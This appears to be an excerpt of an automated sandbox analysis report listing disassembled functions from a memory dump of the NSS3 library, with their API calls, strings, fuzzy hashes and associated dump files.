Instruction Fuzzy Hash: D621A4B1E007465BE700CF26DA49B52B7E4BFA4348F15C226E81C87A61EB70E5A4C7D0

Function 6C78EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EE14

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

memcpy.VCRUNTIME140(?,?,6C779767,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EE33

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 307b2515c24e0f6e5fda417f9a252fcfa79e843dda94b6118d426df7954a2383
Instruction ID: db914df18878d17a925468915af33035c92bf50382e587545648c8004a9dad8a
Opcode Fuzzy Hash: 307b2515c24e0f6e5fda417f9a252fcfa79e843dda94b6118d426df7954a2383
Instruction Fuzzy Hash: F611A3B9A0270AABE7109E65DE88B46B3ACEF0435DF244535EA1982A41E331E464C7F1

Function 6C70DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7206A0: TlsGetValue.KERNEL32 ref: 6C7206C2
Part of subcall function 6C7206A0: EnterCriticalSection.KERNEL32(?), ref: 6C7206D6
Part of subcall function 6C7206A0: PR_Unlock.NSS3 ref: 6C7206EB

CERT_NewCertList.NSS3 ref: 6C70DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C70DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C70DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70E029

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: a55784a2667c135a0d11c3c86884d45e1848e42f05baead8fe9b4eeec8c17f0b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: D8110CF1B002096BDB105EA95E48BAB76E8AB8035CF140538E958C7710F736D81597E1

Function 6C728DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C728DE7
EnterCriticalSection.KERNEL32 ref: 6C728DFC
PR_Unlock.NSS3 ref: 6C728E2D
PR_SetError.NSS3 ref: 6C728E49

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 690c944e4a5f46a12a54af20af089b4b9354acea23077e491a1e4986f9c86f69
Instruction ID: 7d049509fb2f03670024e6b8c76b64ba47981acb61e7e66fbc8ef69b7bd0db38
Opcode Fuzzy Hash: 690c944e4a5f46a12a54af20af089b4b9354acea23077e491a1e4986f9c86f69
Instruction Fuzzy Hash: F2118C75A05A119FD740AF78C5881AABBF4FF09718F01496ADC8897B01E738E894CBC2

Function 6C7AAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C795F17,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C795F17,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACDB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 355a38cc2d5007a6b1b42fe29750a507eb8cd9a53574023d6ea0680cb764b673
Instruction ID: dddb0bd592c1e017789004502491cd4c7a11969aa689376409f6949ff5b5572c
Opcode Fuzzy Hash: 355a38cc2d5007a6b1b42fe29750a507eb8cd9a53574023d6ea0680cb764b673
Instruction Fuzzy Hash: FE015EB5601B01ABE7A0DF69DA08753B7E8BF04669B504939E85AC3E00E735F055CFD1

Function 6C711DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C711DFB

Part of subcall function 6C7095B0: TlsGetValue.KERNEL32(00000000,?,6C7200D2,00000000), ref: 6C7095D2
Part of subcall function 6C7095B0: EnterCriticalSection.KERNEL32(?,?,?,6C7200D2,00000000), ref: 6C7095E7
Part of subcall function 6C7095B0: PR_Unlock.NSS3(?,?,?,?,6C7200D2,00000000), ref: 6C709605

PR_EnterMonitor.NSS3 ref: 6C711E09

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C70E190: PR_EnterMonitor.NSS3(?,?,6C70E175), ref: 6C70E19C
Part of subcall function 6C70E190: PR_EnterMonitor.NSS3(6C70E175), ref: 6C70E1AA
Part of subcall function 6C70E190: PR_ExitMonitor.NSS3 ref: 6C70E208
Part of subcall function 6C70E190: PL_HashTableRemove.NSS3(?), ref: 6C70E219
Part of subcall function 6C70E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C70E231
Part of subcall function 6C70E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C70E249
Part of subcall function 6C70E190: PR_ExitMonitor.NSS3 ref: 6C70E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711E37
PR_ExitMonitor.NSS3 ref: 6C711E4A

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 782ca23e0ab7739977a2817bea0a116cfcc2ce3d2aab8e6c3faa0c76a7329462
Instruction ID: aac7fab259d5fa0f650a2531237af3a1df5640a0f716ce445837d3c94fccfe13
Opcode Fuzzy Hash: 782ca23e0ab7739977a2817bea0a116cfcc2ce3d2aab8e6c3faa0c76a7329462
Instruction Fuzzy Hash: 4F01F771B441519BEB104BA6DE0CF5277B8AB61B4EF180031E5189FF91E731E818CBD6

Function 6C711D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C711D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C711D9C
free.MOZGLUE(00000000), ref: 6C711DB8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 0ef2fb386726250696bae3a46c08997f05da2ef7b4e49e484b7d8bc3cd53ff9e
Instruction ID: 7122b7585fc5d74c4dd185de005e5b396e0110d283506177720ac61629f9e657
Opcode Fuzzy Hash: 0ef2fb386726250696bae3a46c08997f05da2ef7b4e49e484b7d8bc3cd53ff9e
Instruction Fuzzy Hash: 23F049B261961057FB105E5A9E47B8736489BA1798F190335DD888FF40D760E404C2E5

Function 6C75FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4
free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 09dd1eaa694b1560989175d93c253b12e8333eb3311d70b17e9e38e7463c12bf
Instruction ID: ab5321a4dd9d081508a781fb4cb437d7fde1cdc03664c6e57a64f518a62a3f8e
Opcode Fuzzy Hash: 09dd1eaa694b1560989175d93c253b12e8333eb3311d70b17e9e38e7463c12bf
Instruction Fuzzy Hash: F3F0C8F56013065BEB005F55DE959177758EF45299B548035ED0DCBF02EB21D824C7E1

Function 6C81CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C81CC61
free.MOZGLUE ref: 6C81CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C81CC80
free.MOZGLUE(?), ref: 6C81CC87

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: bd922545a47d3610b102a669188b6c9648e0c4e57139a97c94e69bb9a23f43bd
Instruction ID: 4405696c95788373b973b4aa5366219c2e96f894a17002240ccce743ce4b989a
Opcode Fuzzy Hash: bd922545a47d3610b102a669188b6c9648e0c4e57139a97c94e69bb9a23f43bd
Instruction Fuzzy Hash: 65E030B6B00608ABCA50EFA9DC4488677ACEE4D2747150535E691C3701D235F905CFE1

Function 6C6F9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C6F9E1F

Part of subcall function 6C6B13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C682352,?,00000000,?,?), ref: 6C6B1413
Part of subcall function 6C6B13C0: memcpy.VCRUNTIME140(00000000,R#hl,00000002,?,?,?,?,6C682352,?,00000000,?,?), ref: 6C6B14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C6F9F78
LIKE or GLOB pattern too complex, xrefs: 6C6FA006

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4826e1786757bb19d57efededf3e1e11b6039eaf8b294f1df64b0db47ddada08
Instruction ID: 4ed2eb40af236c7d4b812daa5bb72f625ffd2277c2d5f3f62a21a20418aff8e7
Opcode Fuzzy Hash: 4826e1786757bb19d57efededf3e1e11b6039eaf8b294f1df64b0db47ddada08
Instruction Fuzzy Hash: 60811A70A052514BE704CF29C4903E9B7F3AF8532CF288659D8B88BB95D736D847C795

Function 6C754D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C754D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C754DE6

Strings

%d.%d, xrefs: 6C754DDE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6cf5cc70364a5d75e99ae517bcb7fd98d46a23d79f44b19745aad4c3ab856e34
Instruction ID: 2a6d8963d7f2373c784b8bde6866584dc06519c56ebc567939a956425d12ccc3
Opcode Fuzzy Hash: 6cf5cc70364a5d75e99ae517bcb7fd98d46a23d79f44b19745aad4c3ab856e34
Instruction Fuzzy Hash: A2310CB2D003186BEB109BA19D0ABFF7768EF40308F440429ED1957781EF349929CBE1

Function 6C774CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8wl,00000000,00000000,?,?,6C773827,?,00000000), ref: 6C774D0A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C774D22

Part of subcall function 6C75FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C701A3E,00000048,00000054), ref: 6C75FD56

Strings

'8wl, xrefs: 6C774D07

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8wl
API String ID: 1521942269-312688369
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 54630a2ea6ac97f87f981392ceb2be07dd9eb62f141903e670ff369d3e8cb4ee
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FAF06232601229A7EF204D6EAF85B4336DC9B4167DF1402B1EE68CB781E621CC049AB1

Function 6C79AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C79AF78

Part of subcall function 6C6FACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FACE2
Part of subcall function 6C6FACC0: malloc.MOZGLUE(00000001), ref: 6C6FACEC
Part of subcall function 6C6FACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6FAD02
Part of subcall function 6C6FACC0: TlsGetValue.KERNEL32 ref: 6C6FAD3C
Part of subcall function 6C6FACC0: calloc.MOZGLUE(00000001,?), ref: 6C6FAD8C
Part of subcall function 6C6FACC0: PR_Unlock.NSS3 ref: 6C6FADC0
Part of subcall function 6C6FACC0: PR_Unlock.NSS3 ref: 6C6FAE8C
Part of subcall function 6C6FACC0: free.MOZGLUE(?), ref: 6C6FAEAB

memcpy.VCRUNTIME140(6C863084,6C8602AC,00000090), ref: 6C79AF94

Strings

SSL, xrefs: 6C79AF73

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 0857ae78e00c07ee2446e74740dfcfa9a5950435b2d4e0941f481cdfe6116025
Instruction ID: 9ed6af601195e333c29f6fa48da807d82a71f9ab07a863909e0e82c3b5654c48
Opcode Fuzzy Hash: 0857ae78e00c07ee2446e74740dfcfa9a5950435b2d4e0941f481cdfe6116025
Instruction Fuzzy Hash: 85214DB2609A48AADE30DF53B6433227AB5B302A0D7507528C5A90BB35D731580CEFD7

Function 6C6F0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B

Part of subcall function 6C6F1370: GetSystemInfo.KERNEL32(?,?,?,?,6C6F0936,?,6C6F0F20,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000), ref: 6C6F138F

PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

Part of subcall function 6C6F1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001,00000040), ref: 6C6F1130
Part of subcall function 6C6F1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001,00000040), ref: 6C6F1142
Part of subcall function 6C6F1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F0936,00000001), ref: 6C6F1167

Strings

clock, xrefs: 6C6F0F20

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c4d66e155ffd04418212dcef59f462abeecf75adf3e97c47e3b2bf8a1f4af04c
Instruction ID: 8ea5dc0fdeb572ddc68a14517699865533082cf2c2b4ea3ede2659a28b8fee16
Opcode Fuzzy Hash: c4d66e155ffd04418212dcef59f462abeecf75adf3e97c47e3b2bf8a1f4af04c
Instruction Fuzzy Hash: F1D0227220411491C12062979C44BA6B2AEC7C32FDF002872E12C41E000E6950DBD2EE

Function 6C760DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C760DF5
TlsGetValue.KERNEL32 ref: 6C760E2D
TlsGetValue.KERNEL32 ref: 6C760E58
TlsGetValue.KERNEL32 ref: 6C760E84

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 0b8f6c28ea62eabf00fc86ac4c1a4974c407677279c77976ff2d28d756b74744
Instruction ID: 96f0fec2b1f4a9684ce915dc9fc8fdd385de3ebf36ec2019fbfb75a5fb641d06
Opcode Fuzzy Hash: 0b8f6c28ea62eabf00fc86ac4c1a4974c407677279c77976ff2d28d756b74744
Instruction Fuzzy Hash: 5D31A3B06443A18BDB117F7ACA4526977B8BF0630CF114679DC9987E21DB349485CBCA

Function 6C760F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C702AF5,?,?,?,?,?,6C700A1B,00000000), ref: 6C760F1A
malloc.MOZGLUE(00000001), ref: 6C760F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C760F42
TlsGetValue.KERNEL32 ref: 6C760F5B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
